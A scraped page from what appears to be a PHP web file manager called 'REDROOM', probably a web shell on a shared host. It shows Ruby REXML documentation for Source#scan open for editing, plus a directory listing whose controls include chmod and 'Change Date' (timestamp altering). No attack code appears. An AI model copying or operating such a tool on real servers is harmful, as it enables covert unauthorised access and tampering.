REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 1.10 KB
Close
/proc/thread-self/root/opt/alt/ruby18/share/ri/1.8/system/REXML/Source/scan-i.yaml
Text
Base64
--- !ruby/object:RI::MethodDescription aliases: [] block_params: comment: - !ruby/struct:SM::Flow::P body: Scans the source for a given pattern. Note, that this is not your usual scan() method. For one thing, the pattern argument has some requirements; for another, the source can be consumed. You can easily confuse this method. Originally, the patterns were easier to construct and this method more robust, because this method generated search regexes on the fly; however, this was computationally expensive and slowed down the entire REXML package considerably, since this is by far the most commonly called method. @param pattern must be a Regexp, and must be in the form of /^\s*(#{your pattern, with no groups})(.*)/. The first group will be returned; the second group is used if the consume flag is set. @param consume if true, the pattern returned will be consumed, leaving everything after it in the Source. @return the pattern, if found, or nil if the Source is empty or the pattern is not found. full_name: REXML::Source#scan is_singleton: false name: scan params: (pattern, cons=false) visibility: public
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 12
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
cdesc-Source.yaml
1.27 KB
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
consume-i.yaml
184 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
current_line-i.yaml
262 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
empty%3f-i.yaml
251 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
encoding%3d-i.yaml
286 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
match-i.yaml
190 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
match_to-i.yaml
192 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
match_to_consume-i.yaml
208 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
new-c.yaml
406 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
position-i.yaml
177 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
read-i.yaml
169 B
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
scan-i.yaml
1.10 KB
lrw-r--r--
2023-07-26 13:47:44
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).